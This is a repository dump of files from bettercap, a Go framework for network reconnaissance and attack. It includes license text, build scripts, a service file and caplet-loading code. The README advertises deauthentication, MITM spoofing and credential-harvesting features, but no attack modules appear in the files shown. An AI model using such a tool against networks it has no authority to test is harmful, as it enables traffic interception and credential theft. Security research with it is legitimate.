+An &ldquo;entity transaction&rdquo; is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an organization, or
+merging organizations. If propagation of a covered work results from an entity
+transaction, each party to that transaction who receives a copy of the work also
+receives whatever licenses to the work the party's predecessor in interest had or
+could give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if the predecessor
+has it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights granted or
+affirmed under this License. For example, you may not impose a license fee, royalty,
+or other charge for exercise of rights granted under this License, and you may not
+initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging
+that any patent claim is infringed by making, using, selling, offering for sale, or
+importing the Program or any portion of it.
+
+### 11. Patents.
+
+A &ldquo;contributor&rdquo; is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The work thus
+licensed is called the contributor's &ldquo;contributor version&rdquo;.
+
+A contributor's &ldquo;essential patent claims&rdquo; are all patent claims owned or
+controlled by the contributor, whether already acquired or hereafter acquired, that
+would be infringed by some manner, permitted by this License, of making, using, or
+selling its contributor version, but do not include claims that would be infringed
+only as a consequence of further modification of the contributor version. For
+purposes of this definition, &ldquo;control&rdquo; includes the right to grant patent
+sublicenses in a manner consistent with the requirements of this License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent license
+under the contributor's essential patent claims, to make, use, sell, offer for sale,
+import and otherwise run, modify and propagate the contents of its contributor
+version.
+
+In the following three paragraphs, a &ldquo;patent license&rdquo; is any express
+agreement or commitment, however denominated, not to enforce a patent (such as an
+express permission to practice a patent or covenant not to sue for patent
+infringement). To &ldquo;grant&rdquo; such a patent license to a party means to make
+such an agreement or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the
+Corresponding Source of the work is not available for anyone to copy, free of charge
+and under the terms of this License, through a publicly available network server or
+other readily accessible means, then you must either (1) cause the Corresponding
+Source to be so available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner consistent with
+the requirements of this License, to extend the patent license to downstream
+recipients. &ldquo;Knowingly relying&rdquo; means you have actual knowledge that, but
+for the patent license, your conveying the covered work in a country, or your
+recipient's use of the covered work in a country, would infringe one or more
+identifiable patents in that country that you have reason to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement, you
+convey, or propagate by procuring conveyance of, a covered work, and grant a patent
+license to some of the parties receiving the covered work authorizing them to use,
+propagate, modify or convey a specific copy of the covered work, then the patent
+license you grant is automatically extended to all recipients of the covered work and
+works based on it.
+
+A patent license is &ldquo;discriminatory&rdquo; if it does not include within the
+scope of its coverage, prohibits the exercise of, or is conditioned on the
+non-exercise of one or more of the rights that are specifically granted under this
+License. You may not convey a covered work if you are a party to an arrangement with
+a third party that is in the business of distributing software, under which you make
+payment to the third party based on the extent of your activity of conveying the
+work, and under which the third party grants, to any of the parties who would receive
+the covered work from you, a discriminatory patent license (a) in connection with
+copies of the covered work conveyed by you (or copies made from those copies), or (b)
+primarily for and in connection with specific products or compilations that contain
+the covered work, unless you entered into that arrangement, or that patent license
+was granted, prior to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied
+license or other defenses to infringement that may otherwise be available to you
+under applicable patent law.
+
+### 12. No Surrender of Others' Freedom.
+
+If conditions are imposed on you (whether by court order, agreement or otherwise)
+that contradict the conditions of this License, they do not excuse you from the
+conditions of this License. If you cannot convey a covered work so as to satisfy
+simultaneously your obligations under this License and any other pertinent
+obligations, then as a consequence you may not convey it at all. For example, if you
+agree to terms that obligate you to collect a royalty for further conveying from
+those to whom you convey the Program, the only way you could satisfy both those terms
+and this License would be to refrain entirely from conveying the Program.
+
+### 13. Use with the GNU Affero General Public License.
+
+Notwithstanding any other provision of this License, you have permission to link or
+combine any covered work with a work licensed under version 3 of the GNU Affero
+General Public License into a single combined work, and to convey the resulting work.
+The terms of this License will continue to apply to the part which is the covered
+work, but the special requirements of the GNU Affero General Public License, section
+13, concerning interaction through a network will apply to the combination as such.
+
+### 14. Revised Versions of this License.
+
+The Free Software Foundation may publish revised and/or new versions of the GNU
+General Public License from time to time. Such new versions will be similar in spirit
+to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies that
+a certain numbered version of the GNU General Public License &ldquo;or any later
+version&rdquo; applies to it, you have the option of following the terms and
+conditions either of that numbered version or of any later version published by the
+Free Software Foundation. If the Program does not specify a version number of the GNU
+General Public License, you may choose any version ever published by the Free
+Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of the GNU
+General Public License can be used, that proxy's public statement of acceptance of a
+version permanently authorizes you to choose that version for the Program.
+
+Later license versions may give you additional or different permissions. However, no
+additional obligations are imposed on any author or copyright holder as a result of
+your choosing to follow a later version.
+
+### 15. Disclaimer of Warranty.
+
+THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM &ldquo;AS IS&rdquo; WITHOUT WARRANTY OF ANY KIND, EITHER
+EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE
+QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE
+DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+### 16. Limitation of Liability.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY
+COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS
+PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
+INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE
+OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE
+WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+### 17. Interpretation of Sections 15 and 16.
+
+If the disclaimer of warranty and limitation of liability provided above cannot be
+given local legal effect according to their terms, reviewing courts shall apply local
+law that most closely approximates an absolute waiver of all civil liability in
+connection with the Program, unless a warranty or assumption of liability accompanies
+a copy of the Program in return for a fee.
+
+END OF TERMS AND CONDITIONS
+
+## How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible use to
+the public, the best way to achieve this is to make it free software which everyone
+can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach them
+to the start of each source file to most effectively state the exclusion of warranty;
+and each file should have at least the &ldquo;copyright&rdquo; line and a pointer to
+where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program does terminal interaction, make it output a short notice like this
+when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type 'show c' for details.
+
+The hypothetical commands 'show w' and 'show c' should show the appropriate parts of
+the General Public License. Of course, your program's commands might be different;
+for a GUI interface, you would use an &ldquo;about box&rdquo;.
+
+You should also get your employer (if you work as a programmer) or school, if any, to
+sign a &ldquo;copyright disclaimer&rdquo; for the program, if necessary. For more
+information on this, and how to apply and follow the GNU GPL, see
+&lt;<https://www.gnu.org/licenses/>&gt;.
+
+The GNU General Public License does not permit incorporating your program into
+proprietary programs. If your program is a subroutine library, you may consider it
+more useful to permit linking proprietary applications with the library. If this is
+what you want to do, use the GNU Lesser General Public License instead of this
+License. But first, please read
+&lt;<https://www.gnu.org/philosophy/why-not-lgpl.html>&gt;.

+ 42 - 0
bettercap/Makefile

@@ -0,0 +1,42 @@
+TARGET   ?= bettercap
+PACKAGES ?= core firewall log modules network packets session tls
+PREFIX   ?= /usr/local
+GO       ?= go
+
+all: build
+
+build: resources
+	$(GOFLAGS) $(GO) build -o $(TARGET) .
+
+build_with_race_detector: resources
+	$(GOFLAGS) $(GO) build -race -o $(TARGET) .
+
+resources: network/manuf.go
+
+network/manuf.go:
+	@python3 ./network/make_manuf.py
+
+install:
+	@mkdir -p $(DESTDIR)$(PREFIX)/share/bettercap/caplets
+	@cp bettercap $(DESTDIR)$(PREFIX)/bin/
+
+docker:
+	@docker build -t bettercap:latest .
+
+test:
+	$(GOFLAGS) $(GO) test -covermode=atomic -coverprofile=cover.out ./...
+
+html_coverage: test
+	$(GOFLAGS) $(GO) tool cover -html=cover.out -o cover.out.html
+
+benchmark: server_deps
+	$(GOFLAGS) $(GO) test -v -run=doNotRunTests -bench=. -benchmem ./...
+
+fmt:
+	$(GO) fmt -s -w $(PACKAGES)
+
+clean:
+	$(RM) $(TARGET)
+	$(RM) -r build
+
+.PHONY: all build build_with_race_detector resources install docker test html_coverage benchmark fmt clean

+ 35 - 0
bettercap/README.md

@@ -0,0 +1,35 @@
+<p align="center">
+  <img alt="BetterCap" src="https://raw.githubusercontent.com/bettercap/media/master/logo.png" height="140" />
+  <p align="center">
+    <a href="https://github.com/bettercap/bettercap/releases/latest"><img alt="Release" src="https://img.shields.io/github/release/bettercap/bettercap.svg?style=flat-square"></a>
+    <a href="https://github.com/bettercap/bettercap/blob/master/LICENSE.md"><img alt="Software License" src="https://img.shields.io/badge/license-GPL3-brightgreen.svg?style=flat-square"></a>
+    <a href="https://travis-ci.org/bettercap/bettercap"><img alt="Travis" src="https://img.shields.io/travis/bettercap/bettercap/master.svg?style=flat-square"></a>
+
+  </p>
+</p>
+
+bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers an **easy to use**, **all-in-one solution** with all the features they might possibly need for performing reconnaissance and attacking [WiFi](https://www.bettercap.org/modules/wifi/) networks, [Bluetooth Low Energy](https://www.bettercap.org/modules/ble/) devices, wireless [HID](https://www.bettercap.org/modules/hid/) devices and [Ethernet](https://www.bettercap.org/modules/ethernet) networks.
+
+![UI](https://raw.githubusercontent.com/bettercap/media/master/ui-events.png)
+
+## Main Features
+
+* **WiFi** networks scanning, [deauthentication attack](https://www.evilsocket.net/2018/07/28/Project-PITA-Writeup-build-a-mini-mass-deauther-using-bettercap-and-a-Raspberry-Pi-Zero-W/), [clientless PMKID association attack](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) and automatic WPA/WPA2 client handshakes capture.
+* **Bluetooth Low Energy** devices scanning, characteristics enumeration, reading and writing.
+* 2.4Ghz wireless devices scanning and **MouseJacking** attacks with over-the-air HID frames injection (with DuckyScript support).
+* Passive and active IP network hosts probing and recon.
+* **ARP, DNS, NDP and DHCPv6 spoofers** for MITM attacks on IPv4 and IPv6 based networks.
+* **Proxies at packet level, TCP level and HTTP/HTTPS** application level fully scriptable with easy to implement **javascript plugins**.
+* A powerful **network sniffer** for **credentials harvesting** which can also be used as a **network protocol fuzzer**.
+* A very fast port scanner.
+* A powerful [REST API](https://www.bettercap.org/modules/core/api.rest/) with support for asynchronous events notification on websocket to orchestrate your attacks easily.
+* **A very convenient [web UI](https://www.bettercap.org/usage/#web-ui).**
+* [More!](https://www.bettercap.org/modules/)
+
+## License
+
+`bettercap` is made with ♥  by [the dev team](https://github.com/orgs/bettercap/people) and it's released under the GPL 3 license.
+
+## Stargazers over time
+
+[![Stargazers over time](https://starchart.cc/bettercap/bettercap.svg)](https://starchart.cc/bettercap/bettercap)

+ 9 - 0
bettercap/SECURITY.md

@@ -0,0 +1,9 @@
+# Security Policy
+
+## Supported Versions
+
+Feature updates and security fixes are streamlined only to the latest version, make sure to check [the release page](https://github.com/bettercap/bettercap/releases) periodically.
+
+## Reporting a Vulnerability
+
+For non critical bugs and vulnerabilities feel free to open an issue and tag `@evilsocket`, for more severe reports send an email to `evilsocket AT gmail DOT com`.

+ 15 - 0
bettercap/bettercap.service

@@ -0,0 +1,15 @@
+[Unit]
+Description=bettercap api.rest service.
+Documentation=https://bettercap.org
+Wants=network.target
+After=network.target
+
+[Service]
+Type=simple
+PermissionsStartOnly=true
+ExecStart=/usr/local/bin/bettercap -no-colors -eval "set events.stream.output /var/log/bettercap.log; api.rest on"
+Restart=always
+RestartSec=30
+
+[Install]
+WantedBy=multi-user.target

+ 141 - 0
bettercap/build.sh

@@ -0,0 +1,141 @@
+#!/bin/bash
+BUILD_FOLDER=build
+VERSION=$(cat core/banner.go | grep Version | cut -d '"' -f 2)
+
+bin_dep() {
+    BIN=$1
+    which $BIN > /dev/null || { echo "@ Dependency $BIN not found !"; exit 1; }
+}
+
+host_dep() {
+    HOST=$1
+    ping -c 1 $HOST > /dev/null || { echo "@ Virtual machine host $HOST not visible !"; exit 1; }
+}
+
+create_exe_archive() {
+    bin_dep 'zip'
+
+    OUTPUT=$1
+
+    echo "@ Creating archive $OUTPUT ..."
+    zip -j "$OUTPUT" bettercap.exe ../README.md ../LICENSE.md > /dev/null
+    rm -rf bettercap bettercap.exe
+}
+
+create_archive() {
+    bin_dep 'zip'
+
+    OUTPUT=$1
+
+    echo "@ Creating archive $OUTPUT ..."
+    zip -j "$OUTPUT" bettercap ../README.md ../LICENSE.md > /dev/null
+    rm -rf bettercap bettercap.exe
+}
+
+build_linux_amd64() {
+    echo "@ Building linux/amd64 ..."
+    go build -o bettercap ..
+}
+
+
+build_linux_armv6l() {
+    host_dep 'arc.local'
+
+    DIR=/home/pi/gocode/src/github.com/bettercap/bettercap
+
+    echo "@ Updating repo on arm6l host ..."
+    ssh pi@arc.local "cd $DIR && rm -rf '$OUTPUT' && git checkout . && git checkout master && git pull" > /dev/null
+
+    echo "@ Building linux/armv6l ..."
+    ssh pi@arc.local "export GOPATH=/home/pi/gocode && cd '$DIR' && PATH=$PATH:/usr/local/bin && go get ./... && go build -o bettercap ." > /dev/null
+
+    scp -C pi@arc.local:$DIR/bettercap . > /dev/null
+}
+
+build_macos_amd64() {
+    host_dep 'osxvm'
+
+    DIR=/Users/evilsocket/gocode/src/github.com/bettercap/bettercap
+
+    echo "@ Updating repo on MacOS VM ..."
+    ssh osxvm "cd $DIR && rm -rf '$OUTPUT' && git checkout . && git checkout master && git pull" > /dev/null
+
+    echo "@ Building darwin/amd64 ..."
+    ssh osxvm "export GOPATH=/Users/evilsocket/gocode && cd '$DIR' && PATH=$PATH:/usr/local/bin && go get ./... && go build -o bettercap ." > /dev/null
+
+    scp -C osxvm:$DIR/bettercap . > /dev/null
+}
+
+build_windows_amd64() {
+    host_dep 'winvm'
+
+    DIR=c:/Users/evilsocket/gopath/src/github.com/bettercap/bettercap
+
+    echo "@ Updating repo on Windows VM ..."
+    ssh winvm "cd $DIR && git checkout . && git checkout master && git pull && go get ./..." > /dev/null
+
+    echo "@ Building windows/amd64 ..."
+    ssh winvm "cd $DIR && go build -o bettercap.exe ." > /dev/null
+
+    scp -C winvm:$DIR/bettercap.exe . > /dev/null
+}
+
+build_android_arm() {
+    host_dep 'shield'
+    
+    BASE=/data/data/com.termux/files
+    THEPATH="$BASE/usr/bin:$BASE/usr/bin/applets:/system/xbin:/system/bin"
+    LPATH="$BASE/usr/lib"
+    GPATH=$BASE/home/go
+    DIR=$GPATH/src/github.com/bettercap/bettercap
+
+    echo "@ Updating repo on Android host ..."
+    ssh -p 8022 root@shield "su -c 'export PATH=$THEPATH && export LD_LIBRARY_PATH="$LPATH" && cd "$DIR" && rm -rf bettercap* && git pull && export GOPATH=$GPATH && go get ./...'"
+
+    echo "@ Building android/arm ..."
+    ssh -p 8022 root@shield "su -c 'export PATH=$THEPATH && export LD_LIBRARY_PATH="$LPATH" && cd "$DIR" && export GOPATH=$GPATH && go build -o bettercap . && setenforce 0'"
+
+    echo "@ Downloading bettercap ..."
+    scp -C -P 8022 root@shield:$DIR/bettercap . 
+}
+
+rm -rf $BUILD_FOLDER
+mkdir $BUILD_FOLDER
+cd $BUILD_FOLDER
+
+if [ -z "$1" ]
+  then
+      WHAT=all
+  else
+      WHAT="$1"
+fi
+
+printf "@ Building for $WHAT ...\n\n"
+
+if [[ "$WHAT" == "all" || "$WHAT" == "linux_amd64" ]]; then
+    build_linux_amd64 && create_archive bettercap_linux_amd64_$VERSION.zip
+fi
+
+if [[ "$WHAT" == "all" || "$WHAT" == "linux_armv6l" ]]; then
+    build_linux_armv6l && create_archive bettercap_linux_armv6l_$VERSION.zip
+fi
+
+if [[ "$WHAT" == "all" || "$WHAT" == "osx" || "$WHAT" == "mac" || "$WHAT" == "macos" ]]; then
+    build_macos_amd64 && create_archive bettercap_macos_amd64_$VERSION.zip
+fi
+
+if [[ "$WHAT" == "all" || "$WHAT" == "win" || "$WHAT" == "windows" ]]; then
+    build_windows_amd64 && create_exe_archive bettercap_windows_amd64_$VERSION.zip
+fi 
+
+if [[ "$WHAT" == "all" || "$WHAT" == "android" ]]; then
+    build_android_arm && create_archive bettercap_android_armv7l_$VERSION.zip
+fi
+
+sha256sum * > checksums.txt
+
+echo
+echo
+du -sh *
+
+cd --

+ 73 - 0
bettercap/builder/arm_builder.sh

@@ -0,0 +1,73 @@
+#!/usr/bin/env bash
+
+set -eu
+
+PROGRAM="${1}"
+shift
+COMMAND="${*}"
+
+IMAGE="https://downloads.raspberrypi.org/raspbian_lite/images/raspbian_lite-2020-02-14/2020-02-13-raspbian-buster-lite.zip"
+GOLANG="https://golang.org/dl/go1.16.2.linux-armv6l.tar.gz"
+
+REPO_DIR="${PWD}"
+TMP_DIR="/tmp/builder"
+MNT_DIR="${TMP_DIR}/mnt"
+
+if ! systemctl is-active systemd-binfmt.service >/dev/null 2>&1; then
+  mkdir -p "/lib/binfmt.d"
+  echo ':qemu-arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff:/usr/bin/qemu-arm-static:F' > /lib/binfmt.d/qemu-arm-static.conf
+  systemctl restart systemd-binfmt.service
+fi
+
+mkdir -p "${TMP_DIR}"
+wget --show-progress -qcO "${TMP_DIR}/raspbian.zip" "${IMAGE}"
+gunzip -c "${TMP_DIR}/raspbian.zip" > "${TMP_DIR}/raspbian.img"
+truncate "${TMP_DIR}/raspbian.img" --size=+2G
+parted --script "${TMP_DIR}/raspbian.img" resizepart 2 100%
+
+LOOP_PATH="$(losetup --find --partscan --show "${TMP_DIR}/raspbian.img")"
+e2fsck -y -f "${LOOP_PATH}p2"
+resize2fs "${LOOP_PATH}p2"
+partprobe "${LOOP_PATH}"
+
+mkdir -p "${MNT_DIR}"
+mountpoint -q "${MNT_DIR}" && umount -R "${MNT_DIR}"
+mount -o rw "${LOOP_PATH}p2" "${MNT_DIR}"
+mount -o rw "${LOOP_PATH}p1" "${MNT_DIR}/boot"
+
+mount --bind /dev "${MNT_DIR}/dev/"
+mount --bind /sys "${MNT_DIR}/sys/"
+mount --bind /proc "${MNT_DIR}/proc/"
+mount --bind /dev/pts "${MNT_DIR}/dev/pts"
+mount | grep "${MNT_DIR}"
+df -h
+
+cp /usr/bin/qemu-arm-static "${MNT_DIR}/usr/bin"
+cp /etc/resolv.conf "${MNT_DIR}/etc/resolv.conf"
+
+mkdir -p "${MNT_DIR}/root/src/${PROGRAM}"
+mount --bind "${REPO_DIR}" "${MNT_DIR}/root/src/${PROGRAM}"
+
+cp "${MNT_DIR}/etc/ld.so.preload" "${MNT_DIR}/etc/_ld.so.preload"
+touch "${MNT_DIR}/etc/ld.so.preload"
+
+chroot "${MNT_DIR}" bin/bash -x <<EOF
+set -eu
+
+export LANG="C"
+export LC_ALL="C"
+export LC_CTYPE="C"
+export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/go/bin:/root/bin"
+
+wget --show-progress -qcO /tmp/golang.tar.gz "${GOLANG}"
+tar -C /usr/local -xzf /tmp/golang.tar.gz
+export GOROOT="/usr/local/go"
+export GOPATH="/root"
+
+apt-get -y update
+apt-get install wget libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev build-essential git
+
+cd "/root/src/${PROGRAM}"
+${COMMAND}
+EOF
+echo "Build finished"

+ 10 - 0
bettercap/builder/libusb.pc

@@ -0,0 +1,10 @@
+prefix=c:/libusb
+exec_prefix=${prefix}
+libdir=${prefix}/MinGW64/static
+includedir=${prefix}/include
+
+Name: libusb-1.0
+Description: C API for USB device access from Linux, Mac OS X, Windows, OpenBSD/NetBSD and Solaris userspace
+Version: 1.0.18
+Libs: -L${libdir} -lusb-1.0
+Cflags: -I${includedir}/libusb-1.0

+ 63 - 0
bettercap/caplets/caplet.go

@@ -0,0 +1,63 @@
+package caplets
+
+import (
+	"fmt"
+	"path/filepath"
+	"strings"
+
+	"github.com/evilsocket/islazy/fs"
+)
+
+type Script struct {
+	Path string   `json:"path"`
+	Size int64    `json:"size"`
+	Code []string `json:"code"`
+}
+
+func newScript(path string, size int64) Script {
+	return Script{
+		Path: path,
+		Size: size,
+		Code: make([]string, 0),
+	}
+}
+
+type Caplet struct {
+	Script
+	Name    string   `json:"name"`
+	Scripts []Script `json:"scripts"`
+}
+
+func NewCaplet(name string, path string, size int64) Caplet {
+	return Caplet{
+		Script:  newScript(path, size),
+		Name:    name,
+		Scripts: make([]Script, 0),
+	}
+}
+
+func (cap *Caplet) Eval(argv []string, lineCb func(line string) error) error {
+	if argv == nil {
+		argv = []string{}
+	}
+	// the caplet might include other files (include directive, proxy modules, etc),
+	// temporarily change the working directory
+	return fs.Chdir(filepath.Dir(cap.Path), func() error {
+		for _, line := range cap.Code {
+			// skip empty lines and comments
+			if line == "" || line[0] == '#' {
+				continue
+			}
+			// replace $0 with argv[0], $1 with argv[1] and so on
+			for i, arg := range argv {
+				what := fmt.Sprintf("$%d", i)
+				line = strings.Replace(line, what, arg, -1)
+			}
+
+			if err := lineCb(line); err != nil {
+				return err
+			}
+		}
+		return nil
+	})
+}

+ 2 - 0
bettercap/caplets/doc.go

@@ -0,0 +1,2 @@
+// Package caplets contains functions to enumerate, load and execute caplets.
+package caplets

+ 67 - 0
bettercap/caplets/env.go

@@ -0,0 +1,67 @@
+package caplets
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+
+	"github.com/evilsocket/islazy/str"
+	"github.com/mitchellh/go-homedir"
+)
+
+const (
+	EnvVarName     = "CAPSPATH"
+	Suffix         = ".cap"
+	InstallArchive = "https://github.com/bettercap/caplets/archive/master.zip"
+)
+
+func getDefaultInstallBase() string {
+	if runtime.GOOS == "windows" {
+		return filepath.Join(os.Getenv("ALLUSERSPROFILE"), "bettercap")
+	}
+	return "/usr/local/share/bettercap/"
+}
+
+func getUserHomeDir() string {
+	usr, _ := homedir.Dir()
+	return usr
+}
+
+var (
+	InstallBase        = ""
+	InstallPathArchive = ""
+	InstallPath        = ""
+	ArchivePath        = ""
+	LoadPaths          = []string(nil)
+)
+
+func Setup(base string) error {
+	InstallBase = base
+	InstallPathArchive = filepath.Join(InstallBase, "caplets-master")
+	InstallPath = filepath.Join(InstallBase, "caplets")
+	ArchivePath = filepath.Join(os.TempDir(), "caplets.zip")
+
+	LoadPaths = []string{
+		"./",
+		"./caplets/",
+		InstallPath,
+		filepath.Join(getUserHomeDir(), "caplets"),
+	}
+
+	for _, path := range str.SplitBy(str.Trim(os.Getenv(EnvVarName)), string(os.PathListSeparator)) {
+		if path = str.Trim(path); len(path) > 0 {
+			LoadPaths = append(LoadPaths, path)
+		}
+	}
+
+	for i, path := range LoadPaths {
+		LoadPaths[i], _ = filepath.Abs(path)
+	}
+
+	return nil
+}
+
+func init() {
+	// init with defaults
+	Setup(getDefaultInstallBase())
+}

+ 110 - 0
bettercap/caplets/manager.go

@@ -0,0 +1,110 @@
+package caplets
+
+import (
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"sort"
+	"strings"
+	"sync"
+
+	"github.com/evilsocket/islazy/fs"
+)
+
+var (
+	cache     = make(map[string]*Caplet)
+	cacheLock = sync.Mutex{}
+)
+
+func List() []*Caplet {
+	caplets := make([]*Caplet, 0)
+	for _, searchPath := range LoadPaths {
+		files, _ := filepath.Glob(searchPath + "/*" + Suffix)
+		files2, _ := filepath.Glob(searchPath + "/*/*" + Suffix)
+
+		for _, fileName := range append(files, files2...) {
+			if _, err := os.Stat(fileName); err == nil {
+				base := strings.Replace(fileName, searchPath+string(os.PathSeparator), "", -1)
+				base = strings.Replace(base, Suffix, "", -1)
+
+				if caplet, err := Load(base); err != nil {
+					fmt.Fprintf(os.Stderr, "wtf: %v\n", err)
+				} else {
+					caplets = append(caplets, caplet)
+				}
+			}
+		}
+	}
+
+	sort.Slice(caplets, func(i, j int) bool {
+		return strings.Compare(caplets[i].Name, caplets[j].Name) == -1
+	})
+
+	return caplets
+}
+
+func Load(name string) (*Caplet, error) {
+	cacheLock.Lock()
+	defer cacheLock.Unlock()
+
+	if caplet, found := cache[name]; found {
+		return caplet, nil
+	}
+
+	baseName := name
+	names := []string{}
+	if !strings.HasSuffix(name, Suffix) {
+		name += Suffix
+	}
+
+	if !filepath.IsAbs(name) {
+		for _, path := range LoadPaths {
+			names = append(names, filepath.Join(path, name))
+		}
+	} else {
+		names = append(names, name)
+	}
+
+	for _, fileName := range names {
+		if stats, err := os.Stat(fileName); err == nil {
+			cap := &Caplet{
+				Script:  newScript(fileName, stats.Size()),
+				Name:    baseName,
+				Scripts: make([]Script, 0),
+			}
+			cache[name] = cap
+
+			if reader, err := fs.LineReader(fileName); err != nil {
+				return nil, fmt.Errorf("error reading caplet %s: %v", fileName, err)
+			} else {
+				for line := range reader {
+					cap.Code = append(cap.Code, line)
+				}
+
+				// the caplet has a dedicated folder
+				if strings.Contains(baseName, "/") || strings.Contains(baseName, "\\") {
+					dir := filepath.Dir(fileName)
+					// get all secondary .cap and .js files
+					if files, err := ioutil.ReadDir(dir); err == nil && len(files) > 0 {
+						for _, f := range files {
+							subFileName := filepath.Join(dir, f.Name())
+							if subFileName != fileName && (strings.HasSuffix(subFileName, ".cap") || strings.HasSuffix(subFileName, ".js")) {
+								if reader, err := fs.LineReader(subFileName); err == nil {
+									script := newScript(subFileName, f.Size())
+									for line := range reader {
+										script.Code = append(script.Code, line)
+									}
+									cap.Scripts = append(cap.Scripts, script)
+								}
+							}
+						}
+					}
+				}
+			}
+
+			return cap, nil
+		}
+	}
+	return nil, fmt.Errorf("caplet %s not found", name)
+}

+ 8 - 0
bettercap/core/banner.go

@@ -0,0 +1,8 @@
+package core
+
+const (
+	Name    = "bettercap"
+	Version = "2.32.0"
+	Author  = "Simone 'evilsocket' Margaritelli"
+	Website = "https://bettercap.org/"
+)

+ 33 - 0
bettercap/core/banner_test.go

@@ -0,0 +1,33 @@
+package core
+
+import (
+	"regexp"
+	"testing"
+)
+
+func TestBannerName(t *testing.T) {
+	if Name != "bettercap" {
+		t.Fatalf("expected '%s', got '%s'", "bettercap", Name)
+	}
+}
+func TestBannerWebsite(t *testing.T) {
+	if Website != "https://bettercap.org/" {
+		t.Fatalf("expected '%s', got '%s'", "https://bettercap.org/", Website)
+	}
+}
+
+func TestBannerVersion(t *testing.T) {
+	match, err := regexp.MatchString(`\d+.\d+`, Version)
+	if err != nil {
+		t.Fatalf("unable to perform regex on Version constant")
+	}
+	if !match {
+		t.Fatalf("expected Version constant in format '%s', got '%s'", "X.X", Version)
+	}
+}
+
+func TestBannerAuthor(t *testing.T) {
+	if Author != "Simone 'evilsocket' Margaritelli" {
+		t.Fatalf("expected '%s', got '%s'", "Simone 'evilsocket' Margaritelli", Author)
+	}
+}

+ 48 - 0
bettercap/core/core.go

@@ -0,0 +1,48 @@
+package core
+
+import (
+	"os/exec"
+	"sort"
+
+	"github.com/evilsocket/islazy/str"
+)
+
+func UniqueInts(a []int, sorted bool) []int {
+	tmp := make(map[int]bool, len(a))
+	uniq := make([]int, 0, len(a))
+
+	for _, n := range a {
+		tmp[n] = true
+	}
+
+	for n := range tmp {
+		uniq = append(uniq, n)
+	}
+
+	if sorted {
+		sort.Ints(uniq)
+	}
+
+	return uniq
+}
+
+func HasBinary(executable string) bool {
+	if path, err := exec.LookPath(executable); err != nil || path == "" {
+		return false
+	}
+	return true
+}
+
+func Exec(executable string, args []string) (string, error) {
+	path, err := exec.LookPath(executable)
+	if err != nil {
+		return "", err
+	}
+
+	raw, err := exec.Command(path, args...).CombinedOutput()
+	if err != nil {
+		return str.Trim(string(raw)), err
+	} else {
+		return str.Trim(string(raw)), nil
+	}
+}

+ 7 - 0
bettercap/core/core_android.go

@@ -0,0 +1,7 @@
+// +build android
+
+package core
+
+func Shell(cmd string) (string, error) {
+	return Exec("/system/bin/sh", []string{"-c", cmd})
+}

+ 99 - 0
bettercap/core/core_test.go

